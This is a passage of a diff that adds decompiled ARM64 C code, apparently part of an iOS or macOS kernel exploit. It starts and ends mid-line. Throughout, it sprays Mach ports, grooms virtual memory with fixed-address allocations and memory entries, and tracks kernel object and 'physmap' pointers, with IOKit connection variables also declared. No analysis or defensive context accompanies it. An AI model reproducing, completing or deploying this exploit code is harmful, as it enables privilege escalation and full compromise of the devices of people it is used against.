sizeof(size)); + infoCnt = 0x13; + nesting_depth = 0; + memory_entry_64 = vm_region_recurse_64( + mach_task_self_, + &v135, + &v134, + &nesting_depth, + (vm_region_recurse_info_t)size, + &infoCnt); + v11 = v112; + if ( (_DWORD)memory_entry_64 ) + goto LABEL_71; + v108 = DWORD2(v137); + if ( v112 ) + { + v32 = (pthread_t *)v145; + v33 = v113; + while ( 1 ) + { + v34 = (void *(__cdecl *)(void *))nullsub_1(sub_BBF4); + if ( pthread_create(v32, 0LL, v34, (void *)a2) ) + break; + ++v32; + if ( !--v33 ) + goto LABEL_36; + } +LABEL_70: + v42 = 5LL; + goto LABEL_72; + } +LABEL_36: + while ( 1 ) + { + v35 = atomic_load((unsigned int *)(a2 + 0x3640)); + if ( v35 == v112 ) + break; + sub_2AABC(v7, 0x3E8u); + } + v131 = v19; + memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &v131, 0LL, 1, &name, v26); + if ( (_DWORD)memory_entry_64 ) + goto LABEL_71; + if ( v131 != v19 ) + goto LABEL_70; + v121 = v7; + atomic_store(1u, (unsigned __int8 *)(a2 + 0x363C)); + if ( v112 ) + { + v36 = (pthread_t *)v145; + v37 = v113; + while ( 1 ) + { + memory_entry_64 = pthread_join(*v36, 0LL); + if ( (_DWORD)memory_entry_64 ) + break; + *v36++ = 0LL; + if ( !--v37 ) + goto LABEL_44; + } +LABEL_71: + v42 = memory_entry_64; +LABEL_72: + v120 = v19; + goto LABEL_170; + } +LABEL_44: + v38 = v141; + v129 = 0LL; + v130 = v141; + v128 = 0; + v126 = 0u; + memset(v127, 0, sizeof(v127)); + *(_OWORD *)info = 0u; + v125 = 0u; + v123 = 0x13; + v39 = vm_region_recurse_64(mach_task_self_, &v130, &v129, &v128, info, &v123); + if ( (_DWORD)v39 ) + goto LABEL_167; + v40 = (unsigned int)(v108 + 1); + v41 = DWORD2(v126); + v42 = 5LL; + if ( DWORD2(v126) < (unsigned int)v40 - v112 || DWORD2(v126) > (unsigned int)v40 ) + goto LABEL_168; + if ( DWORD2(v126) < (unsigned int)v40 ) + { + v122 = 0; + v42 = 5LL; + v48 = v40 - DWORD2(v126); + if ( v40 != DWORD2(v126) && v48 <= v113 ) + { + v49 = v113 - v48; + v118 = v49 + 1; + if ( v49 == 0xFFFFFFFFFFFFFFFFLL ) + { +LABEL_83: + if ( v118 < v113 ) + { + v52 = ~v41 + v40; + v53 = &object_handle[v113 + v41 - v40 + 1]; + do + { + v54 = *v53; + v55 = *(unsigned int *)(a2 + 0x3620); + *(_DWORD *)(a2 + 0x3620) = v55 + 1; + *(_DWORD *)(a2 + 4 * v55 + 0x3520) = v54; + *v53++ = 0; + --v52; + } + while ( v52 ); + } + v56 = *(_QWORD *)&v127[5]; + if ( v119 <= 0x2257 ) + { + v69 = 0LL; + v70 = 0; + v71 = *(_QWORD *)&v127[5]; + while ( 1 ) + { + v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v69], vm_page_size, 3); + if ( (_DWORD)v39 ) + break; + v72 = sub_BCB4(*(_QWORD *)&v144[v69]); + if ( !v72 ) + goto LABEL_146; + v73 = *(unsigned int *)(v121 + 0x180); + if ( v72 >= v71 ) + v74 = v71; + else + v74 = v72; + if ( v72 <= v71 ) + v75 = v71; + else + v75 = v72; + if ( v75 - v74 >= v73 ) + goto LABEL_135; + if ( v72 >= v56 ) + v76 = v56; + else + v76 = v72; + if ( v72 > v56 ) + v56 = v72; + if ( v56 - v76 >= v73 ) + { +LABEL_135: + if ( !v70 && v69 ) + goto LABEL_158; + ++v70; + v71 = v72; + v56 = v72; + } + else + { + v71 = v74; + } + if ( v70 >= 2 ) + { + v77 = *(_QWORD *)&v127[5]; + if ( v72 >= *(_QWORD *)&v127[5] ) + v78 = *(_QWORD *)&v127[5]; + else + v78 = v72; + if ( v72 > *(_QWORD *)&v127[5] ) + v77 = v72; + if ( v77 - v78 >= v73 ) + { +LABEL_158: + v42 = mach_port_deallocate(mach_task_self_, name); + if ( (_DWORD)v42 ) + goto LABEL_168; + v85 = 0LL; + name = 0; + while ( 1 ) + { + v39 = vm_allocate(mach_task_self_, &v143[v85], v19, 3); + if ( (_DWORD)v39 ) + goto LABEL_167; + if ( ++v85 == 0x10 ) + { + v86 = 0LL; + while ( 1 ) + { + v87 = sub_BCB4(v143[v86]); + if ( !v87 ) + goto LABEL_146; + if ( v87 == *(_QWORD *)&v127[5] ) + { + v100 = (_QWORD *)v143[v86]; + v143[v86] = 0LL; + if ( !v100 ) + { +LABEL_219: + *(_QWORD *)a4 = v38; + *(_QWORD *)(a4 + 8) = 0LL; + *(_QWORD *)(a4 + 0x10) = v19; + *(_QWORD *)(a4 + 0x20) = 0LL; + v42 = 5LL; + v141 = 0LL; + goto LABEL_168; + } + v101 = v114; + if ( v110 ) + { + v102 = vm_page_size; + v103 = v100; + do + { + *v103 = *(_QWORD *)(a2 + 0x3518); + v103 = (_QWORD *)((char *)v103 + v102); + --v101; + } + while ( v101 ); + } + *(_QWORD *)a4 = v100; + *(_QWORD *)(a4 + 8) = v109; + *(_QWORD *)(a4 + 0x10) = v19; + *(_DWORD *)(a4 + 0x20) = v110; + v42 = vm_deallocate(mach_task_self_, v38, v19); + if ( !(_DWORD)v42 ) + { + v141 = 0LL; + if ( !(unsigned int)sub_BD20(a2, v19, *(__int64 *)&v127[5], &v122) ) + *(_DWORD *)(a4 + 0x24) = v122; + for ( i = 0LL; i != 0x10; ++i ) + { + v105 = v143[i]; + if ( v105 ) + { + *(_QWORD *)(a4 + 0x30 + i * 8) = v105; + v143[i] = 0LL; + } + } + for ( j = 0LL; j != 0x200; j += 8LL ) + { + v107 = *(_QWORD *)&v144[j]; + if ( v107 ) + { + *(_QWORD *)(a4 + 0xB0 + j) = v107; + *(_QWORD *)&v144[j] = 0LL; + } + } + return 0LL; + } + goto LABEL_168; + } + if ( ++v86 == 0x10 ) + goto LABEL_219; + } + } + } + } + } + v69 += 8LL; + if ( v69 == 0x200 ) + { +LABEL_145: + *(_QWORD *)a4 = v38; + *(_QWORD *)(a4 + 8) = 0LL; + *(_QWORD *)(a4 + 0x10) = v19; + v79 = name; + *(_DWORD *)(a4 + 0x20) = 0; + *(_DWORD *)(a4 + 0x24) = v79; + v141 = 0LL; + name = 0; +LABEL_146: + v42 = 5LL; + goto LABEL_168; + } + } + } + else + { + v57 = 0LL; + v58 = 0; + v59 = *(_QWORD *)&v127[5]; + while ( 1 ) + { + v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v57], vm_page_size, 3); + if ( (_DWORD)v39 ) + break; + v60 = sub_BCB4(*(_QWORD *)&v144[v57]); + if ( !v60 ) + goto LABEL_146; + v61 = *(unsigned int *)(v121 + 0x180); + if ( v60 >= v59 ) + v62 = v59; + else + v62 = v60; + if ( v60 <= v59 ) + v63 = v59; + else + v63 = v60; + if ( v63 - v62 >= v61 ) + goto LABEL_105; + if ( v60 >= v56 ) + v64 = v56; + else + v64 = v60; + if ( v60 > v56 ) + v56 = v60; + if ( v56 - v64 >= v61 ) + { +LABEL_105: + if ( !v58 && v57 ) + goto LABEL_147; + ++v58; + v59 = v60; + v56 = v60; + } + else + { + v59 = v62; + } + if ( v58 >= 2 ) + { + v65 = *(_QWORD *)&v127[5]; + if ( v60 >= *(_QWORD *)&v127[5] ) + v66 = *(_QWORD *)&v127[5]; + else + v66 = v60; + if ( v60 > *(_QWORD *)&v127[5] ) + v65 = v60; + if ( v65 - v66 >= v61 ) + { +LABEL_147: + v80 = v114; + if ( v110 ) + { + v81 = vm_page_size; + v82 = (_QWORD *)v38; + do + { + *v82 = *(_QWORD *)(a2 + 0x3518); + v82 = (_QWORD *)((char *)v82 + v81); + --v80; + } + while ( v80 ); + } + *(_QWORD *)a4 = v38; + *(_QWORD *)(a4 + 8) = v109; + *(_DWORD *)(a4 + 0x20) = v110; + *(_QWORD *)(a4 + 0x10) = v19; + v42 = mach_port_deallocate(mach_task_self_, name); + if ( !(_DWORD)v42 ) + { + name = 0; + if ( !(unsigned int)sub_BD20(a2, v19, *(__int64 *)&v127[5], &v122) ) + *(_DWORD *)(a4 + 0x24) = v122; + for ( k = 0LL; k != 0x200; k += 8LL ) + { + v84 = *(_QWORD *)&v144[k]; + if ( v84 ) + { + *(_QWORD *)(a4 + 0xB0 + k) = v84; + *(_QWORD *)&v144[k] = 0LL; + } + } + return 0LL; + } + goto LABEL_168; + } + } + v57 += 8LL; + if ( v57 == 0x200 ) + goto LABEL_145; + } + } + } + else + { + v50 = v113 + DWORD2(v126) - v40 + 1; + v51 = object_handle; + while ( 1 ) + { + v39 = mach_port_deallocate(mach_task_self_, *v51); + if ( (_DWORD)v39 ) + break; + *v51++ = 0; + if ( !--v50 ) + goto LABEL_83; + } + } +LABEL_167: + v42 = v39; + } +LABEL_168: + v120 = v19; + goto LABEL_169; + } + v39 = vm_deallocate(mach_task_self_, v38, v19); + v11 = v112; + if ( (_DWORD)v39 ) + goto LABEL_167; + v141 = 0LL; + v39 = mach_port_deallocate(mach_task_self_, name); + if ( (_DWORD)v39 ) + goto LABEL_167; + name = 0; + v7 = v121; + if ( v112 ) + { + v43 = object_handle; + v44 = v113; + do + { + v39 = mach_port_deallocate(mach_task_self_, *v43); + if ( (_DWORD)v39 ) + goto LABEL_167; + *v43++ = 0; + } + while ( --v44 ); + } + v20 = (unsigned __int8 *)(a2 + 0x363C); + v18 = v111 + 1; + v42 = 5LL; + v17 = v19; + v22 = v113; + v21 = (unsigned int *)(a2 + 0x3640); + if ( v111 + 1 == v116 ) + return v42; + } + v23 = v7; + v24 = object_handle; + while ( 1 ) + { + size[0] = v19; + v25 = mach_make_memory_entry_64(mach_task_self_, size, *(_QWORD *)(a2 + 0x3628), 1, v24, 0); + if ( (_DWORD)v25 ) + { + v42 = v25; + goto LABEL_69; + } + if ( size[0] != v19 ) + break; + ++v24; + if ( !--v22 ) + { + v112 = v11; + v26 = object_handle[0]; + v7 = v23; + goto LABEL_25; + } + } + v42 = 5LL; +LABEL_69: + v120 = v17; + } + else + { + v19 = 0LL; + v120 = 0LL; + v42 = 5LL; + } +LABEL_170: + v88 = (unsigned __int8 *)(a2 + 0x363C); + v89 = v11; + do + { +LABEL_171: + atomic_store(1u, v88); + if ( v11 ) + { + v90 = (pthread_t *)v145; + v91 = v11; + do + { + if ( *v90 ) + { + pthread_join(*v90, 0LL); + *v90 = 0LL; + } + ++v90; + --v91; + } + while ( v91 ); + } + v92 = 0LL; + v93 = 1; + do + { + v94 = v143[v92]; + if ( v94 ) + { + v42 = vm_deallocate(mach_task_self_, v94, v19); + if ( (_DWORD)v42 ) + break; + v143[v92] = 0LL; + } + v93 = v92++ < 0xF; + } + while ( v92 != 0x10 ); + } + while ( v93 ); + for ( m = 0LL; m != 0x200; m += 8LL ) + { + v96 = *(_QWORD *)&v144[m]; + if ( v96 ) + { + v42 = vm_deallocate(mach_task_self_, v96, vm_page_size); + if ( (_DWORD)v42 ) + goto LABEL_171; + *(_QWORD *)&v144[m] = 0LL; + } + } + if ( v141 ) + v97 = v120 == 0; + else + v97 = 1; + if ( !v97 ) + vm_deallocate(mach_task_self_, v141, v120); + if ( address && v19 ) + vm_deallocate(mach_task_self_, address, v19); + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + if ( v11 ) + { + v98 = object_handle; + do + { + if ( *v98 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, *v98); + ++v98; + --v89; + } + while ( v89 ); + } + return v42; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (000000000000CB98) ---------------------------------------------------- +__int64 sub_CB98() +{ + __int64 v0; // x0 + _DWORD *v1; // x2 + _DWORD *v2; // x20 + int v3; // w1 + int v4; // w21 + __int64 v5; // x19 + int v6; // w0 + int v7; // w8 + __int64 v8; // x19 + int v9; // w0 + void *(__cdecl *v10)(void *); // x0 + int v11; // w8 + mach_port_t v12; // w20 + __int64 i; // x22 + mach_port_name_t v14; // w1 + __int64 j; // x21 + mach_port_name_t v16; // w1 + _DWORD *v17; // x0 + unsigned int v18; // w8 + unsigned __int64 v19; // x21 + mach_port_name_t v20; // w1 + _DWORD v22[2824]; // [xsp+8h] [xbp-66E8h] BYREF + vm_address_t address; // [xsp+2C28h] [xbp-3AC8h] + vm_size_t size; // [xsp+2C30h] [xbp-3AC0h] + vm_address_t v25; // [xsp+2C38h] [xbp-3AB8h] + vm_size_t v26; // [xsp+2C40h] [xbp-3AB0h] + _BYTE v27[2096]; // [xsp+2C48h] [xbp-3AA8h] + mach_port_name_t name; // [xsp+3478h] [xbp-3278h] + void *v29; // [xsp+3480h] [xbp-3270h] + unsigned int v30; // [xsp+3488h] [xbp-3268h] + vm_address_t v31; // [xsp+3490h] [xbp-3260h] + vm_size_t v32; // [xsp+3498h] [xbp-3258h] + vm_address_t v33; // [xsp+34A0h] [xbp-3250h] + vm_size_t v34; // [xsp+34A8h] [xbp-3248h] + _BYTE v35[72]; // [xsp+34B0h] [xbp-3240h] + mach_port_name_t v36; // [xsp+34F8h] [xbp-31F8h] + _QWORD v37[3]; // [xsp+6658h] [xbp-98h] BYREF + pthread_t v38; // [xsp+6670h] [xbp-80h] BYREF + pthread_attr_t v39; // [xsp+6678h] [xbp-78h] BYREF + + v0 = __chkstk_darwin(); + v2 = v1; + v4 = v3; + v5 = v0; + bzero(v22, 0x6650uLL); + v22[0] = v4; + v6 = pthread_attr_init(&v39); + if ( v6 ) + { + if ( v6 >= 0 ) + v7 = v6; + else + v7 = -v6; + v8 = v7 | 0x40000000u; + } + else + { + v9 = pthread_attr_setdetachstate(&v39, 1); + if ( v9 + || (v37[2] = v5, + v38 = 0LL, + v37[0] = 0x1001LL, + v37[1] = v22, + v10 = (void *(__cdecl *)(void *))nullsub_1(sub_CE84), + (v9 = pthread_create(&v38, &v39, v10, v37)) != 0) + || (v9 = pthread_join(v38, 0LL)) != 0 ) + { + if ( v9 >= 0 ) + v11 = v9; + else + v11 = -v9; + v8 = v11 | 0x40000000u; + pthread_attr_destroy(&v39); + } + else + { + v8 = LODWORD(v37[0]); + pthread_attr_destroy(&v39); + if ( !(_DWORD)v8 ) + *v2 = 0; + } + } + v12 = mach_task_self_; + if ( address && size ) + { + vm_deallocate(mach_task_self_, address, size); + address = 0LL; + size = 0LL; + } + if ( v25 && v26 ) + { + vm_deallocate(mach_task_self_, v25, v26); + v25 = 0LL; + v26 = 0LL; + } + for ( i = 0LL; i != 0x400; i += 4LL ) + { + v14 = *(_DWORD *)&v27[i]; + if ( v14 + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, v14, 1u, 0xFFFFFFFF); + *(_DWORD *)&v27[i] = 0; + } + for ( j = 0LL; j != 0x40; j += 4LL ) + { + v16 = *(_DWORD *)&v35[j]; + if ( v16 + 1 >= 2 ) + { + mach_port_mod_refs(v12, v16, 1u, 0xFFFFFFFF); + *(_DWORD *)&v35[j] = 0; + } + } + if ( v33 && v34 ) + { + vm_deallocate(v12, v33, v34); + v33 = 0LL; + v34 = 0LL; + } + if ( v31 && v32 ) + { + vm_deallocate(v12, v31, v32); + v31 = 0LL; + v32 = 0LL; + } + if ( name + 1 >= 2 ) + { + mach_port_deallocate(v12, name); + name = 0; + } + if ( v36 + 1 >= 2 ) + { + mach_port_deallocate(v12, v36); + v36 = 0; + } + v17 = v29; + if ( v29 ) + { + v18 = v30; + if ( v30 ) + { + v19 = 0LL; + do + { + v20 = v17[v19]; + if ( v20 + 1 >= 2 ) + { + mach_port_deallocate(v12, v20); + v17 = v29; + *((_DWORD *)v29 + v19) = 0; + v18 = v30; + } + ++v19; + } + while ( v19 < v18 ); + } + free(v17); + } + return v8; +} +// CBC8: variable 'v1' is possibly undefined +// CBCC: variable 'v3' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (000000000000CE78) ---------------------------------------------------- +__int64 sub_CE78() +{ + return sub_CB98(); +} + +//----- (000000000000CE84) ---------------------------------------------------- +__int64 __fastcall sub_CE84(_DWORD *a1) +{ + *a1 = sub_CEB8(); + return 0LL; +} + +//----- (000000000000CEB8) ---------------------------------------------------- +__int64 sub_CEB8() +{ + #160 *v0; // x0 + __int64 v1; // x1 + __int64 v2; // x20 + #160 *v3; // x19 + __int64 v4; // x27 + unsigned __int64 v5; // x0 + kern_return_t memory_entry; // w0 + vm_size_t v7; // x21 + __int64 v8; // x22 + __int64 i; // x21 + mach_port_name_t v11; // w0 + void *v12; // x0 + size_t v13; // x21 + void *v14; // x0 + int v15; // w8 + unsigned __int64 v16; // x21 + int v17; // w2 + __int64 j; // x21 + mach_msg_bits_t msgh_bits; // w1 + unsigned __int64 v20; // x8 + __int64 v21; // x0 + __int64 v22; // x23 + pid_t v23; // w0 + __int64 v24; // x24 + __int64 v25; // x8 + __int64 v26; // x8 + __int64 v27; // x9 + __int64 v28; // x21 + int v29; // w0 + __int64 v30; // x0 + void *v31; // x24 + __int64 v32; // x8 + _QWORD *v33; // x21 + __int64 v34; // x8 + unsigned int v35; // w9 + _DWORD *v36; // x10 + __int64 v37; // x11 + mach_port_t v38; // w9 + vm_prot_t v39; // w3 + unsigned int v40; // w8 + __int64 v41; // x24 + int8x8_t *v42; // x13 + int8x8_t *v43; // x14 + int8x8_t v44; // x9 + __int64 v45; // x15 + _QWORD *v46; // x25 + __int64 v47; // x8 + unsigned int v48; // w23 + CFMutableDictionaryRef v49; // x22 + char *v50; // x21 + unsigned int v51; // w8 + bool v52; // zf + __int64 v53; // x22 + uint8x8_t v54; // d0 + __int64 v55; // x23 + kern_return_t v56; // w0 + int v57; // w22 + __int64 k; // x21 + vm_address_t v59; // x1 + unsigned __int64 v60; // x24 + int8x8_t *v61; // x21 + int8x8_t *v62; // x21 + int8x8_t v63; // t1 + int8x8_t *v64; // x9 + unsigned int v65; // w8 + uint8x8_t v66; // d0 + int v67; // w8 + int v68; // w0 + __int64 v69; // x0 + unsigned int v70; // w25 + char v71; // w22 + __int64 v72; // x8 + __int64 v73; // x8 + unsigned int v74; // w8 + mach_port_t v75; // w8 + mach_msg_return_t v76; // w0 + __int64 v77; // x9 + __int64 v78; // x11 + vm_size_t v79; // x12 + vm_size_t v80; // x13 + int8x8_t v81; // x10 + __int64 v82; // x14 + _QWORD *v83; // x15 + unsigned int v84; // w16 + unsigned int m; // w17 + __int64 *v86; // x0 + __int64 v87; // x1 + vm_size_t v88; // x2 + char *v89; // x3 + uint8x8_t v90; // d0 + unsigned int v91; // w0 + __int64 v92; // x0 + __int64 v93; // x8 + mach_port_name_t v94; // w4 + mach_msg_return_t v95; // w0 + unsigned int v96; // w25 + vm_address_t v97; // x22 + vm_size_t msgh_voucher_port; // x21 + vm_address_t v99; // x8 + char v100; // w8 + unsigned int v101; // w8 + unsigned __int64 v102; // x21 + __int64 v103; // x9 + mach_port_name_t v104; // w1 + __int64 v105; // x21 + mach_port_name_t v106; // w1 + __int64 v107; // x0 + mach_port_t v108; // w0 + __int64 v109; // x0 + __int64 v110; // x8 + __int64 v111; // x25 + __int64 v112; // x21 + __int64 v113; // x0 + __int64 v114; // x1 + __int64 v115; // x8 + _BOOL4 v116; // w0 + unsigned __int64 v118; // x8 + char *v119; // x8 + unsigned __int64 v120; // x1 + unsigned int v121; // w8 + __int64 v122; // x21 + __int64 v123; // x24 + mach_port_name_t v124; // w22 + unsigned __int64 v125; // x0 + __int64 v126; // x0 + unsigned __int64 v127; // x23 + __int64 v128; // x23 + __int64 v129; // x24 + __int64 v130; // x8 + unsigned int v131; // w1 + __int64 v132; // x0 + unsigned __int64 v133; // x22 + unsigned __int64 v134; // x0 + __int64 v135; // x0 + unsigned __int64 v136; // x22 + kern_return_t v137; // w0 + __int64 ii; // x21 + vm_address_t v139; // x1 + __int64 jj; // x21 + vm_address_t v141; // x1 + __int64 v142; // x8 + char v143; // w9 + char v144; // w21 + __int64 v145; // x25 + vm_address_t v146; // x1 + kern_return_t v147; // w0 + _BOOL4 has_flag; // w22 + __int64 v149; // x8 + char *v150; // x1 + __int64 v151; // x22 + unsigned __int64 v152; // x0 + unsigned __int64 v153; // x0 + unsigned __int64 v154; // x21 + __int64 v155; // x25 + __int64 v156; // x8 + _BOOL4 v157; // w22 + __int64 v158; // x8 + unsigned __int64 v159; // x0 + __int64 v160; // x25 + __int64 v161; // x8 + __int64 v162; // x9 + _BOOL4 v163; // w0 + __int64 v164; // x0 + __int64 v165; // x8 + __int64 v166; // x0 + __int64 v167; // x8 + __int64 v168; // x8 + __int64 v169; // x9 + unsigned __int64 v170; // x8 + __int64 v171; // x0 + vm_size_t v172; // x23 + unsigned __int64 objAddr; // x0 + __int64 objAddr_; // x24 + unsigned __int64 kobject_maybe; // x0 + unsigned __int64 v176; // x21 + unsigned __int64 v177; // x0 + unsigned __int64 v178; // x25 + __int64 v179; // x25 + vm_address_t v180; // x1 + __int64 v181; // x8 + __int64 v182; // x8 + __int64 v183; // x8 + io_service_t v184; // w0 + io_service_t v185; // w24 + mach_port_t v186; // w21 + __int64 n; // x25 + io_connect_t v188; // w0 + int v190; // w8 + const void **v191; // x0 + const void *v192; // x22 + const void **v193; // x0 + const void *v194; // x23 + const void **v195; // x0 + const void *v196; // x24 + const __CFData *v197; // x0 + const __CFData *v198; // x24 + int v199; // w8 + uint32_t v200; // w25 + mem_entry_name_port_t *v201; // x23 + const UInt8 *BytePtr; // x22 + size_t Length; // x0 + mach_msg_bits_t v204; // w9 + __int64 v205; // x10 + __int64 v206; // x23 + int v207; // w0 + __int64 v208; // x24 + int v209; // w0 + unsigned __int64 v210; // x25 + vm_address_t v211; // x24 + vm_address_t v212; // x8 + __int64 v213; // x21 + __int64 v214; // x0 + unsigned int v215; // w8 + unsigned __int64 v216; // x21 + __int64 v217; // x23 + mach_port_name_t v218; // w1 + unsigned int v219; // w8 + unsigned __int64 v220; // x21 + __int64 v221; // x23 + vm_address_t v222; // x1 + unsigned __int64 v223; // x8 + bool v224; // cc + int pipe; // w20 + unsigned int v226; // w0 + unsigned int v227; // w24 + unsigned int v228; // w0 + int v229; // w22 + int v230; // w23 + int v231; // w0 + int v232; // w0 + unsigned int v233; // w0 + unsigned __int64 v234; // x0 + __int64 v235; // x22 + integer_t v236; // w1 + integer_t v237; // w10 + mem_entry_name_port_t v238; // w9 + mem_entry_name_port_t v239; // w8 + int v240; // w20 + int v241; // w8 + int v242; // w20 + int v243; // w8 + size_t v244; // x21 + mach_msg_bits_t v245; // w1 + mach_msg_size_t msgh_size; // w9 + __int64 v247; // x8 + __int64 v248; // x8 + unsigned __int64 v249; // x20 + unsigned __int64 v250; // x24 + unsigned __int64 v251; // x26 + int v252; // w25 + _BOOL4 v253; // w0 + vm_address_t v254; // x8 + bool v255; // cf + int v256; // w8 + mach_port_t *v257; // [xsp+30h] [xbp-1120h] + unsigned int *v258; // [xsp+40h] [xbp-1110h] + __int64 v259; // [xsp+48h] [xbp-1108h] + __int64 v260; // [xsp+50h] [xbp-1100h] + unsigned __int64 v261; // [xsp+50h] [xbp-1100h] + __int64 v262; // [xsp+58h] [xbp-10F8h] + __int64 v263; // [xsp+58h] [xbp-10F8h] + __int64 v264; // [xsp+60h] [xbp-10F0h] + __int64 v265; // [xsp+60h] [xbp-10F0h] + __int64 v266; // [xsp+68h] [xbp-10E8h] + __int64 v267; // [xsp+68h] [xbp-10E8h] + unsigned __int64 v268; // [xsp+68h] [xbp-10E8h] + mach_port_name_t v269[2]; // [xsp+70h] [xbp-10E0h] + mach_port_name_t v270; // [xsp+70h] [xbp-10E0h] + __int64 v271; // [xsp+70h] [xbp-10E0h] + void *value; // [xsp+78h] [xbp-10D8h] + unsigned __int64 valuea; // [xsp+78h] [xbp-10D8h] + int v274; // [xsp+80h] [xbp-10D0h] + unsigned __int64 v275; // [xsp+80h] [xbp-10D0h] + int v276; // [xsp+80h] [xbp-10D0h] + int v277; // [xsp+80h] [xbp-10D0h] + vm_size_t v278; // [xsp+88h] [xbp-10C8h] + unsigned int *v279; // [xsp+90h] [xbp-10C0h] + __int64 v280; // [xsp+90h] [xbp-10C0h] + __int64 v281; // [xsp+90h] [xbp-10C0h] + unsigned __int64 v282; // [xsp+90h] [xbp-10C0h] + __int64 v283; // [xsp+90h] [xbp-10C0h] + CFMutableDictionaryRef theDict; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDicta; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDictb; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDictc; // [xsp+98h] [xbp-10B8h] + CFMutableDictionaryRef theDictd; // [xsp+98h] [xbp-10B8h] + __CFDictionary *theDicte; // [xsp+98h] [xbp-10B8h] + __int64 v290; // [xsp+A0h] [xbp-10B0h] + unsigned __int64 v291; // [xsp+A0h] [xbp-10B0h] + int8x8_t *v292; // [xsp+A8h] [xbp-10A8h] + vm_size_t v293; // [xsp+A8h] [xbp-10A8h] + vm_size_t v294; // [xsp+A8h] [xbp-10A8h] + vm_size_t v295; // [xsp+A8h] [xbp-10A8h] + int8x8_t *__handle; // [xsp+B0h] [xbp-10A0h] + _DWORD *__handlea; // [xsp+B0h] [xbp-10A0h] + char *__handleb; // [xsp+B0h] [xbp-10A0h] + unsigned __int64 __handlec; // [xsp+B0h] [xbp-10A0h] + void *__handled; // [xsp+B0h] [xbp-10A0h] + unsigned __int64 __handlee; // [xsp+B0h] [xbp-10A0h] + char *v302; // [xsp+B8h] [xbp-1098h] + unsigned int v303; // [xsp+B8h] [xbp-1098h] + vm_size_t size; // [xsp+C0h] [xbp-1090h] BYREF + mem_entry_name_port_t object_handle; // [xsp+CCh] [xbp-1084h] BYREF + integer_t port_info; // [xsp+D0h] [xbp-1080h] BYREF + vm_address_t address; // [xsp+D8h] [xbp-1078h] BYREF + mach_msg_header_t name; // [xsp+E0h] [xbp-1070h] BYREF + unsigned __int64 v309; // [xsp+100h] [xbp-1050h] + vm_address_t v310; // [xsp+110h] [xbp-1040h] BYREF + unsigned __int64 v311; // [xsp+118h] [xbp-1038h] BYREF + int v312; // [xsp+124h] [xbp-102Ch] BYREF + __int64 v313; // [xsp+128h] [xbp-1028h] BYREF + __int64 v314; // [xsp+130h] [xbp-1020h] BYREF + __int64 v315; // [xsp+138h] [xbp-1018h] BYREF + size_t outputStructCnt; // [xsp+140h] [xbp-1010h] BYREF + mem_entry_name_port_t theMagicPhysmapObjectPtr[2]; // [xsp+148h] [xbp-1008h] BYREF + integer_t v318[4]; // [xsp+150h] [xbp-1000h] BYREF + __int128 v319; // [xsp+160h] [xbp-FF0h] + mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF + __int128 v321; // [xsp+1A0h] [xbp-FB0h] + __int128 v322; // [xsp+1B0h] [xbp-FA0h] + __int128 v323; // [xsp+1C0h] [xbp-F90h] + __int128 v324; // [xsp+1D0h] [xbp-F80h] + __int128 v325; // [xsp+1E0h] [xbp-F70h] + __int128 v326; // [xsp+1F0h] [xbp-F60h] + __int128 v327; // [xsp+200h] [xbp-F50h] + __int128 v328; // [xsp+210h] [xbp-F40h] + __int128 v329; // [xsp+220h] [xbp-F30h] + __int128 v330; // [xsp+230h] [xbp-F20h] + __int128 v331; // [xsp+240h] [xbp-F10h] + __int128 v332; // [xsp+250h] [xbp-F00h] + __int128 v333; // [xsp+260h] [xbp-EF0h] + + v0 = (#160 *)__chkstk_darwin(); + v2 = v1; + v3 = v0; + v4 = 0xAD011LL; + address = 0LL; + object_handle = 0; + size = vm_page_size; + v5 = sub_1F0F4(); + *(_QWORD *)(v2 + 8) = v5; + *(_QWORD *)(v2 + 0x34E8) = 0x10000000800LL; + if ( v5 > 0x400000000LL ) + return 0xAD008LL; + memory_entry = vm_allocate(mach_task_self_, &address, 0x2000uLL, 1); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_QWORD *)(v2 + 0x3498) = address; + *(_QWORD *)(v2 + 0x34A0) = 0x2000LL; + *(_QWORD *)&outputStruct[0].msgh_bits = 0LL; + v7 = vm_page_size; + memory_entry = vm_map( + mach_task_self_, + (vm_address_t *)&outputStruct[0].msgh_bits, + 0x81 * vm_page_size, + 0x1FFFFFFuLL, + 0xC9000001, + 0, + 0LL, + 0, + 3, + 3, + 1u); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_QWORD *)(v2 + 0x3488) = *(_QWORD *)&outputStruct[0].msgh_bits; + *(_QWORD *)(v2 + 0x3490) = vm_page_size + (v7 << 7); + for ( i = 0xD2ALL; i != 0xD3A; ++i ) + { + v11 = mach_reply_port(); + if ( v11 + 1 < 2 ) + return 0x1001LL; + *(_DWORD *)(v2 + 4 * i) = v11; + port_info = 0x400; + memory_entry = mach_port_set_attributes(mach_task_self_, v11, 1, &port_info, 1u); + if ( memory_entry ) + return memory_entry | 0x80000000; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_DWORD *)(v2 + 0x3470) = object_handle; + v12 = calloc(0x200000uLL, 4uLL); + if ( !v12 ) + return 0xAD009LL; + *(_QWORD *)(v2 + 0x3478) = v12; + *(_DWORD *)(v2 + 0x3480) = 0x200000; + *(_QWORD *)&outputStruct[0].msgh_bits = 0LL; + v13 = vm_page_size << 9; + memory_entry = vm_allocate(mach_task_self_, (vm_address_t *)&outputStruct[0].msgh_bits, vm_page_size << 9, 0xCC000001); + if ( memory_entry ) + return memory_entry | 0x80000000; + v14 = *(void **)&outputStruct[0].msgh_bits; + *(_QWORD *)(v2 + 0x2C20) = *(_QWORD *)&outputStruct[0].msgh_bits; + *(_QWORD *)(v2 + 0x2C28) = v13; + if 